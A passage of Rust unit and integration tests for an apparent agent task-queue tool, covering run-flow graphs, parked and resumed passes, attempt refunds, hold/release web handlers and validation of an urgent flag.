16859        let mut t = flow_task(&[]);
16860        t.source = Source::Agent {
16861            run: "a b/c".to_owned(),
16862            node: crate::queue::CHAT_NODE.to_owned(),
16863        };
16864        let f = flow_for(&t, &[]);
16865        assert_eq!(f.nodes[0].key, "chat");
16866        assert_eq!(f.nodes[0].kind, "chat");
16867        assert_eq!(
16868            f.nodes[0].label,
16869            format!("Chat {}", crate::queue::short("a b/c"))
16870        );
16871        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16872        assert_eq!(f.nodes[1].key, "start");
16873        assert_eq!(
16874            f.edges[0],
16875            FlowEdge {
16876                from: "chat".to_owned(),
16877                to: "start".to_owned(),
16878                label: "queued from chat".to_owned(),
16879                attempt: AttemptCost::None,
16880            }
16881        );
16882    }
16883
16884    #[test]
16885    fn flow_has_no_chat_box_for_other_sources() {
16886        for source in [
16887            Source::Human,
16888            Source::Issue {
16889                number: 3,
16890                repo: "o/r".to_owned(),
16891            },
16892            Source::Agent {
16893                run: "20260904-014455-ab12".to_owned(),
16894                node: "implement".to_owned(),
16895            },
16896        ] {
16897            let mut t = flow_task(&[]);
16898            t.source = source;
16899            let f = flow_for(&t, &[]);
16900            assert_eq!(f.nodes[0].key, "start");
16901            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16902            assert!(f.edges.iter().all(|e| e.from != "chat"));
16903        }
16904    }
16905
16906    const FA: &str = "20260902-140501-aaaa";
16907    const FB: &str = "20260902-140502-bbbb";
16908
16909    #[test]
16910    fn flow_follows_blocked_retry_merged_to_done() {
16911        let mut t = flow_task(&[FA, FB]);
16912        t.status = TaskStatus::Done;
16913        let f = flow_for(
16914            &t,
16915            &[
16916                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16917                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16918            ],
16919        );
16920        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16921        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16922        assert_eq!(f.edges.len(), 3);
16923        assert_eq!(f.edges[0].label, "claimed");
16924        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16925        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16926        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16927        assert_eq!(
16928            f.nodes[2].href.as_deref(),
16929            Some("#/runs/20260902-140502-bbbb")
16930        );
16931        assert!(f.nodes[2].decided);
16932    }
16933
16934    #[test]
16935    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16936        let quota = || {
16937            flow_run(RunStatus::Stalled, |s| {
16938                s.quota.push(crate::run::QuotaLoss {
16939                    cause: crate::agent::QuotaCause::UsageLimit,
16940                    agent: String::new(),
16941                    seat: "judge-1".to_owned(),
16942                    node: "judge".to_owned(),
16943                    at: Timestamp::now(),
16944                    reset: None,
16945                })
16946            })
16947        };
16948        let mut t = flow_task(&[FA, FA]);
16949        t.status = TaskStatus::Queued;
16950        let f = flow_for(&t, &[(FA, Some(quota()))]);
16951        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16952        assert_eq!(f.nodes[1].note, Some("interrupted"));
16953        assert_eq!(
16954            f.nodes[1].status, None,
16955            "no outcome copied onto an earlier pass"
16956        );
16957        assert_eq!(
16958            f.edges[1].attempt,
16959            AttemptCost::Unknown,
16960            "a resume does not prove the earlier pass was refunded"
16961        );
16962        assert!(f.edges[1].label.contains("resume the same run"));
16963        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16964        assert_eq!(
16965            f.edges[2].label,
16966            "stalled after a resume, refund unknown \u{2192} queued"
16967        );
16968        assert!(!f.nodes[2].decided, "a stall is not a decision");
16969        assert_eq!(f.nodes[2].note, Some("no verdict"));
16970    }
16971
16972    #[test]
16973    fn flow_single_pass_quota_stall_is_refunded() {
16974        let t = flow_task(&[FA]);
16975        let f = flow_for(
16976            &t,
16977            &[(
16978                FA,
16979                Some(flow_run(RunStatus::Stalled, |s| {
16980                    s.quota.push(crate::run::QuotaLoss {
16981                        cause: crate::agent::QuotaCause::UsageLimit,
16982                        agent: String::new(),
16983                        seat: "judge-1".to_owned(),
16984                        node: "judge".to_owned(),
16985                        at: Timestamp::now(),
16986                        reset: None,
16987                    })
16988                })),
16989            )],
16990        );
16991        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16992    }
16993
16994    #[test]
16995    fn flow_parked_refunds_and_stall_without_quota_spends() {
16996        let mut t = flow_task(&[FA]);
16997        t.status = TaskStatus::Queued;
16998        let f = flow_for(
16999            &t,
17000            &[(
17001                FA,
17002                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17003            )],
17004        );
17005        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17006        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17007        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17008        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17009        assert!(!f.nodes[1].decided);
17010    }
17011
17012    #[test]
17013    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17014        let t = flow_task(&[FA, FB]);
17015        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17016        assert_eq!(f.nodes[1].note, Some("unreadable"));
17017        assert!(!f.nodes[1].readable);
17018        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17019        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17020    }
17021
17022    #[test]
17023    fn flow_names_the_branch_of_a_review_only_run() {
17024        let t = flow_task(&[FA]);
17025        let f = flow_for(
17026            &t,
17027            &[(
17028                FA,
17029                Some(flow_run(RunStatus::Merged, |s| {
17030                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17031                })),
17032            )],
17033        );
17034        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17035        assert_eq!(
17036            f.nodes[1].detail.as_deref(),
17037            Some("review-only run of branch magi/x/A")
17038        );
17039    }
17040
17041    #[test]
17042    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17043        let mut t = flow_task(&[FA]);
17044        t.status = TaskStatus::Held;
17045        let pr = crate::run::PrRecord {
17046            url: "https://example.test/pr/1".to_owned(),
17047            number: 1,
17048            state: "open".to_owned(),
17049            checks: "green".to_owned(),
17050            round: 0,
17051            rounds: 3,
17052            red_at_merge: Vec::new(),
17053        };
17054        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17055        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17056        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17057        t.status = TaskStatus::Done;
17058        let f = flow_for(&t, &[(FA, Some(blocked))]);
17059        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17060    }
17061
17062    #[test]
17063    fn flow_with_no_runs_goes_from_queued_to_queued() {
17064        let t = flow_task(&[]);
17065        let f = flow_for(&t, &[]);
17066        assert_eq!(f.nodes.len(), 2);
17067        assert_eq!(f.edges.len(), 1);
17068        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17069        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17070    }
17071
17072    /// A run parked mid-flight keeps a non-terminal status; the page must
17073    /// still say why it stopped and that the attempt came back.
17074    #[test]
17075    fn a_parked_non_terminal_run_is_explained_as_parked() {
17076        let mut s = RunState::new(
17077            PathBuf::from("/repo/magi"),
17078            "main".to_owned(),
17079            "0123456789abcdef".to_owned(),
17080            "Do it".to_owned(),
17081            Config::default(),
17082        );
17083        s.status = RunStatus::Implementing;
17084        s.parked = true;
17085        let task = Task::new(
17086            "t".to_owned(),
17087            "Do it".to_owned(),
17088            PathBuf::from("/repo/magi"),
17089            Source::Human,
17090        );
17091        let v = task_run_view(
17092            "20260902-140501-aaaa",
17093            Some(&s),
17094            RunSlot {
17095                n: 1,
17096                resumed: false,
17097                resumed_later: None,
17098                prior: None,
17099                last: true,
17100                ..RunSlot::default()
17101            },
17102            &task,
17103        );
17104        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17105    }
17106
17107    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17108        let mut s = flow_run(RunStatus::Implementing, edit);
17109        s.parked = false;
17110        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17111        task_run_view(
17112            "20260902-140501-aaaa",
17113            Some(&s),
17114            RunSlot {
17115                n: 1,
17116                resumed: false,
17117                resumed_later: Some(2),
17118                prior: None,
17119                last: false,
17120                ..RunSlot::default()
17121            },
17122            &task,
17123        )
17124    }
17125
17126    #[test]
17127    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17128        let v = earlier_pass_view(|_| {});
17129        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17130        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17131        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17132        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17133        assert_eq!(v.exit, RunExit::Interrupted);
17134        assert_eq!(v.attempt, AttemptCost::Unknown);
17135    }
17136
17137    #[test]
17138    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17139        let v = earlier_pass_view(|s| {
17140            s.quota.push(crate::run::QuotaLoss {
17141                cause: crate::agent::QuotaCause::UsageLimit,
17142                agent: String::new(),
17143                seat: "judge-1".to_owned(),
17144                node: "judge".to_owned(),
17145                at: Timestamp::now(),
17146                reset: None,
17147            });
17148        });
17149        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17150        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17151        assert_eq!(v.attempt, AttemptCost::Unknown);
17152    }
17153
17154    #[test]
17155    fn the_current_pass_states_its_recorded_cause_and_cost() {
17156        let slot = || RunSlot {
17157            n: 1,
17158            resumed: false,
17159            resumed_later: None,
17160            prior: None,
17161            last: true,
17162            ..RunSlot::default()
17163        };
17164        let task = flow_task(&["20260902-140501-aaaa"]);
17165        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17166        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17167        assert_eq!(
17168            (v.exit, v.attempt),
17169            (RunExit::Parked, AttemptCost::Refunded)
17170        );
17171        let spent = flow_run(RunStatus::Blocked, |_| {});
17172        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17173        assert_eq!(v.attempt, AttemptCost::Spent);
17174        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17175    }
17176
17177    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17178        crate::run::RunPass {
17179            index,
17180            started_at: Timestamp::now(),
17181            resumed: index > 0,
17182            ended_at: end.as_ref().map(|_| Timestamp::now()),
17183            end,
17184            task_entry: true,
17185        }
17186    }
17187
17188    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17189        Some(crate::run::PassEnd::Parked { cause })
17190    }
17191
17192    fn upgrade_cause() -> crate::run::ParkCause {
17193        crate::run::ParkCause::Upgrade {
17194            from: "0.121.0".to_owned(),
17195            to: Some("0.121.1".to_owned()),
17196        }
17197    }
17198
17199    fn settled_pass(
17200        run: &str,
17201        index: usize,
17202        cost: crate::queue::PassCost,
17203    ) -> crate::queue::TaskPass {
17204        crate::queue::TaskPass {
17205            run: run.to_owned(),
17206            pass_index: index,
17207            started_at: None,
17208            cost,
17209            attempts_after: 1,
17210            settled_at: Timestamp::now(),
17211            parked: None,
17212        }
17213    }
17214
17215    const RUN_X: &str = "20261011-223708-4334";
17216
17217    #[test]
17218    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17219        use crate::queue::PassCost;
17220        let run = flow_run(RunStatus::Implementing, |s| {
17221            s.passes = vec![
17222                recorded_pass(0, parked(upgrade_cause())),
17223                recorded_pass(1, None),
17224            ];
17225        });
17226        let mut task = flow_task(&[RUN_X, RUN_X]);
17227        task.attempts = 1;
17228        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17229        let h = task_history(&task, |_| Some(run.clone()));
17230        assert_eq!(h.len(), 2);
17231        assert_eq!(h[0].kind, "competition");
17232        assert_eq!(h[1].kind, "resume");
17233        assert_eq!(
17234            (h[0].exit, h[0].attempt),
17235            (RunExit::Parked, AttemptCost::Refunded)
17236        );
17237        assert!(
17238            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17239            "{}",
17240            h[0].outcome
17241        );
17242        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17243        assert!(
17244            h[0].outcome.contains("pass #2 resumed the same run"),
17245            "{}",
17246            h[0].outcome
17247        );
17248        assert!(
17249            h[0].outcome.contains("pass 1 of 2 over run"),
17250            "{}",
17251            h[0].outcome
17252        );
17253        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17254        assert_eq!(
17255            h[0].exit_label,
17256            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17257        );
17258        let f = task_flow(&task, &h, 2, None);
17259        // Two passes of one run, one of two attempts consumed.
17260        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17261        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17262        assert!(
17263            f.edges[1].label.contains("upgrade 0.121.0"),
17264            "{}",
17265            f.edges[1].label
17266        );
17267        assert!(
17268            f.edges[1].label.contains("resume the same run"),
17269            "{}",
17270            f.edges[1].label
17271        );
17272        assert_eq!(f.nodes[1].note, Some("parked"));
17273    }
17274
17275    #[test]
17276    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17277        let mut a = flow_run(RunStatus::Implementing, |s| {
17278            s.passes = vec![
17279                recorded_pass(0, parked(upgrade_cause())),
17280                recorded_pass(1, None),
17281            ];
17282        });
17283        let mut b = flow_run(RunStatus::Failed, |s| {
17284            s.passes = vec![recorded_pass(0, None)];
17285        });
17286        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17287        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17288        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17289        let mut task = flow_task(&[]);
17290        task.start("a".into());
17291        task.start("b".into());
17292        task.start("a".into());
17293        assert_eq!(task.runs, ["b", "a"]);
17294        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17295        let h = task_history(&task, |id| {
17296            Some(if id == "a" { a.clone() } else { b.clone() })
17297        });
17298        assert_eq!(
17299            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17300            ["a", "b", "a"]
17301        );
17302        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17303        assert!(h[0].outcome.contains("upgrade"));
17304        assert_eq!(h[2].kind, "resume");
17305        assert!(h[2].pass.is_some());
17306        // The old repeated-id format must show the same recorded passes.
17307        task.runs = vec!["a".into(), "b".into(), "a".into()];
17308        let old = task_history(&task, |id| {
17309            Some(if id == "a" { a.clone() } else { b.clone() })
17310        });
17311        assert_eq!(
17312            old.iter()
17313                .map(|v| (&v.id, &v.kind, v.attempt))
17314                .collect::<Vec<_>>(),
17315            h.iter()
17316                .map(|v| (&v.id, &v.kind, v.attempt))
17317                .collect::<Vec<_>>()
17318        );
17319    }
17320
17321    #[test]
17322    fn an_upgrade_whose_target_was_not_known_says_so() {
17323        let run = flow_run(RunStatus::Implementing, |s| {
17324            s.passes = vec![
17325                recorded_pass(
17326                    0,
17327                    parked(crate::run::ParkCause::Upgrade {
17328                        from: "0.121.0".to_owned(),
17329                        to: None,
17330                    }),
17331                ),
17332                recorded_pass(1, None),
17333            ];
17334        });
17335        let task = flow_task(&[RUN_X, RUN_X]);
17336        let h = task_history(&task, |_| Some(run.clone()));
17337        assert!(
17338            h[0].outcome.contains("upgrade from 0.121.0"),
17339            "{}",
17340            h[0].outcome
17341        );
17342        // No settle record: the refund is not claimed.
17343        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17344    }
17345
17346    #[test]
17347    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17348        use crate::queue::PassCost;
17349        use crate::run::ParkCause;
17350        let run = flow_run(RunStatus::Implementing, |s| {
17351            s.passes = vec![
17352                recorded_pass(0, parked(upgrade_cause())),
17353                recorded_pass(
17354                    1,
17355                    parked(ParkCause::Interrupt {
17356                        reason: "task a1b2 asked to run first".to_owned(),
17357                    }),
17358                ),
17359                recorded_pass(2, parked(ParkCause::Operator)),
17360                recorded_pass(3, None),
17361            ];
17362        });
17363        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17364        task.attempts = 1;
17365        task.passes = (0..3)
17366            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17367            .collect();
17368        let h = task_history(&task, |_| Some(run.clone()));
17369        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17370        assert!(
17371            h[1].outcome.contains("task a1b2 asked to run first"),
17372            "{}",
17373            h[1].outcome
17374        );
17375        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17376        assert!(
17377            h[2].outcome.contains("operator asked the loop to park"),
17378            "{}",
17379            h[2].outcome
17380        );
17381        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17382        let f = task_flow(&task, &h, 2, None);
17383        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17384    }
17385
17386    #[test]
17387    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17388        let run = flow_run(RunStatus::Implementing, |s| {
17389            s.passes = vec![
17390                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17391                recorded_pass(1, None),
17392            ];
17393        });
17394        let task = flow_task(&[RUN_X, RUN_X]);
17395        let h = task_history(&task, |_| Some(run.clone()));
17396        assert_eq!(h[0].exit, RunExit::Interrupted);
17397        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17398        assert!(
17399            h[0].outcome.contains("without recording why"),
17400            "{}",
17401            h[0].outcome
17402        );
17403        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17404        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17405    }
17406
17407    #[test]
17408    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17409        use crate::queue::PassCost;
17410        // Three entries, but the run only began keeping passes at the last
17411        // two: the first is legacy and must not be given a cause.
17412        let run = flow_run(RunStatus::Implementing, |s| {
17413            s.passes = vec![
17414                recorded_pass(0, parked(upgrade_cause())),
17415                recorded_pass(1, None),
17416            ];
17417        });
17418        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17419        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17420        let h = task_history(&task, |_| Some(run.clone()));
17421        assert!(h[0].pass.is_none());
17422        assert_eq!(h[0].exit, RunExit::Interrupted);
17423        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17424        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17425        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17426        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17427        // A run with no passes at all is entirely unknown.
17428        let legacy = flow_run(RunStatus::Implementing, |_| {});
17429        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17430        assert!(h.iter().all(|v| v.pass.is_none()));
17431        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17432    }
17433
17434    #[test]
17435    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17436        use crate::queue::PassCost;
17437        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17438        // task. The two entries are passes 0 and 2.
17439        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17440        web.task_entry = false;
17441        let run = flow_run(RunStatus::Implementing, |s| {
17442            s.passes = vec![
17443                recorded_pass(0, parked(upgrade_cause())),
17444                web.clone(),
17445                recorded_pass(2, None),
17446            ];
17447        });
17448        let mut task = flow_task(&[RUN_X, RUN_X]);
17449        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17450        let h = task_history(&task, |_| Some(run.clone()));
17451        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17452        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17453
17454        // Legacy first entry, then a web resume that parked for an upgrade,
17455        // then the daemon's pass: the legacy entry must stay unknown.
17456        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17457        web0.task_entry = false;
17458        let run = flow_run(RunStatus::Implementing, |s| {
17459            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17460        });
17461        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17462        assert!(h[0].pass.is_none());
17463        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17464        assert!(h[1].pass.is_some());
17465    }
17466
17467    #[tokio::test]
17468    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17469        let dir = tempfile::tempdir().unwrap();
17470        let queue = Queue::at(dir.path().join("queue"));
17471        let ui = Arc::new(Ui::new(
17472            queue.clone(),
17473            Questions::at(dir.path().join("questions")),
17474            Talks::at(dir.path().join("talks")),
17475            dir.path().join("runs"),
17476            dir.path().to_path_buf(),
17477            dir.path().to_path_buf(),
17478        ));
17479        let mut t = Task::new(
17480            "recover".into(),
17481            "Inspect".into(),
17482            PathBuf::from("."),
17483            Source::Human,
17484        );
17485        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17486        t.start("run-A".into());
17487        t.release_operator("choice", Some("resume-question"));
17488        t.resume_override = Some(crate::queue::OperatorResume {
17489            question_id: "resume-question".into(),
17490            at: jiff::Timestamp::now(),
17491            conductor_rehold: None,
17492            forced: true,
17493            pinned_run: Some("run-A".into()),
17494        });
17495        t.hold_machine(Some("inspection pending".into()));
17496        t.edit("recover".into(), "Reuse approved PR head".into())
17497            .unwrap();
17498        queue.put(&mut t).unwrap();
17499        let mut cli = t.clone();
17500        cli.release_operator("cli", None);
17501        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17502        let reloaded = queue.get(&t.id).unwrap();
17503        assert_eq!(reply.task.status, TaskStatus::Queued);
17504        assert!(reloaded.resume_override.is_none());
17505        assert_eq!(reloaded.answers, t.answers);
17506        let mut web = reloaded.resumption.unwrap();
17507        let cli = cli.resumption.unwrap();
17508        assert_eq!(web.source, "web");
17509        web.source = cli.source.clone();
17510        web.at = cli.at;
17511        assert_eq!(web, cli);
17512    }
17513
17514    #[tokio::test]
17515    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17516        let f = Fixture::start().await;
17517        let queue = f.queue();
17518        let mut task = Task::new(
17519            "spent".to_owned(),
17520            "Try again".to_owned(),
17521            PathBuf::from("/repo/magi"),
17522            Source::Human,
17523        );
17524        task.start("20260902-140502-bbbb".to_owned());
17525        task.fail("agent gave up", 9);
17526        queue.put(&mut task).expect("file the task");
17527
17528        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17529        assert_eq!(held.status, 200);
17530        assert_eq!(held.json()["status_str"], "held");
17531
17532        let released = f
17533            .post(&format!("/api/queue/{}/release", task.id), None)
17534            .await;
17535        assert_eq!(released.status, 200);
17536        assert_eq!(released.json()["status_str"], "queued");
17537        assert_eq!(released.json()["resumption"]["source"], "web");
17538        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17539        let mut cli = task.clone();
17540        cli.release_operator("cli", None);
17541        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17542        let cli = cli.resumption.unwrap();
17543        assert_eq!(web.instruction, cli.instruction);
17544        assert_eq!(web.answers_through, cli.answers_through);
17545        assert_eq!(web.runs_through, cli.runs_through);
17546        assert_eq!(web.cleared_reason, cli.cleared_reason);
17547        assert_eq!(
17548            released.json()["attempts"],
17549            0,
17550            "release is a real second chance, not an instant re-hold"
17551        );
17552        assert_eq!(
17553            queue.get(&task.id).expect("reload").status,
17554            TaskStatus::Queued,
17555            "the change is on disk, not only in the reply"
17556        );
17557        assert!(
17558            !f.home
17559                .path()
17560                .join("queue")
17561                .join(format!("{}.lock", task.id))
17562                .exists(),
17563            "the claim the mutation took is released again"
17564        );
17565    }
17566
17567    #[tokio::test]
17568    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17569        let f = Fixture::start().await;
17570        let queue = f.queue();
17571        let mut task = Task::new(
17572            "busy".to_owned(),
17573            "Running right now".to_owned(),
17574            PathBuf::from("/repo/magi"),
17575            Source::Human,
17576        );
17577        queue.put(&mut task).expect("file the task");
17578        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17579
17580        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17581
17582        assert_eq!(res.status, 409);
17583        assert_eq!(
17584            queue.get(&task.id).expect("reload").status,
17585            TaskStatus::Queued,
17586            "the refused hold changed nothing"
17587        );
17588    }
17589
17590    #[tokio::test]
17591    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17592        let f = Fixture::start().await;
17593        let queue = f.queue();
17594        let mut task = Task::new(
17595            "waiting on the migration".to_owned(),
17596            "Do the thing".to_owned(),
17597            PathBuf::from("/repo/magi"),
17598            Source::Human,
17599        );
17600        queue.put(&mut task).expect("file the task");
17601
17602        let held = f
17603            .post(
17604                &format!("/api/queue/{}/hold", task.id),
17605                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17606            )
17607            .await;
17608        assert_eq!(held.status, 200, "{}", held.body);
17609        assert_eq!(held.json()["status_str"], "held");
17610        assert_eq!(
17611            held.json()["hold_reason"],
17612            "waiting for 20260101-000000-aaaa to land"
17613        );
17614
17615        let listed = f.get("/api/queue").await.json();
17616        assert_eq!(
17617            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17618            "the card reads the reason off the same list route"
17619        );
17620
17621        // A hold with no body at all must keep working - most holds have no
17622        // reason to give.
17623        let mut plain = Task::new(
17624            "no reason given".to_owned(),
17625            "Do another thing".to_owned(),
17626            PathBuf::from("/repo/magi"),
17627            Source::Human,
17628        );
17629        queue.put(&mut plain).expect("file the task");
17630        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17631        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17632        assert!(held_plain.json()["hold_reason"].is_null());
17633
17634        let released = f
17635            .post(&format!("/api/queue/{}/release", task.id), None)
17636            .await;
17637        assert_eq!(released.status, 200);
17638        assert!(
17639            released.json()["hold_reason"].is_null(),
17640            "a release must clear the reason so the next hold does not inherit it"
17641        );
17642    }
17643
17644    #[test]
17645    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17646        for urgent in [true, false] {
17647            let body: UrgentBody =
17648                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17649            assert_eq!(body.urgent, urgent);
17650        }
17651        for input in [
17652            r#"{}"#,
17653            r#"{"urgent":null}"#,
17654            r#"{"urgent":"true"}"#,
17655            r#"{"urgent":1}"#,
17656            r#"{"urgent":true,"extra":false}"#,
17657        ] {
17658            assert!(
17659                serde_json::from_str::<UrgentBody>(input).is_err(),
17660                "{input}"
17661            );
17662        }
17663    }
17664
17665    #[tokio::test]
17666    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17667        let home = TempDir::new().unwrap();
17668        let q = Queue::at(home.path().join("queue"));
17669        let ui = Arc::new(Ui::new(
17670            q.clone(),
17671            Questions::at(home.path().join("questions")),
17672            Talks::at(home.path().join("talks")),
17673            home.path().join("runs"),
17674            home.path().into(),
17675            home.path().into(),
17676        ));
17677        let mut task = Task::new(
17678            "urgent handler".into(),
17679            "keep".into(),
17680            home.path().into(),
17681            Source::Human,
17682        );
17683        for status in [TaskStatus::Queued, TaskStatus::Held] {
17684            task.status = status;
17685            q.put(&mut task).unwrap();
17686            for urgent in [true, true, false, false] {
17687                let saved = queue_urgent(
17688                    State(Arc::clone(&ui)),
17689                    Path(task.short().into()),
17690                    Ok(Json(UrgentBody { urgent })),
17691                )
17692                .await
17693                .unwrap();
17694                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17695                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17696            }
17697        }
17698        task.status = TaskStatus::Queued;
17699        q.put(&mut task).unwrap();
17700        let claim = q.claim(&task.id).unwrap();
17701        let error = queue_urgent(
17702            State(Arc::clone(&ui)),
17703            Path(task.id.clone()),
17704            Ok(Json(UrgentBody { urgent: true })),
17705        )
17706        .await
17707        .unwrap_err();
17708        assert_eq!(error.status, StatusCode::CONFLICT);
17709        assert!(error.message.contains("released"));
17710        drop(claim);
17711        for status in [
17712            TaskStatus::Running,
17713            TaskStatus::Done,
17714            TaskStatus::Failed,
17715            TaskStatus::Blocked,
17716            TaskStatus::Parked,
17717        ] {
17718            task.status = status;
17719            q.put(&mut task).unwrap();
17720            let error = queue_urgent(
17721                State(Arc::clone(&ui)),
17722                Path(task.id.clone()),
17723                Ok(Json(UrgentBody { urgent: false })),
17724            )
17725            .await
17726            .unwrap_err();
17727            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17728            assert!(error.message.contains(status.as_str()));
17729        }
17730    }
17731
17732    #[tokio::test]
17733    async fn urgent_api_updates_preserves_and_validates_tasks() {
17734        let f = Fixture::start().await;
17735        let q = f.queue();
17736        let mut t = Task::new(
17737            "urgent API".into(),
17738            "unchanged".into(),
17739            PathBuf::from("/repo/magi"),
17740            Source::Human,
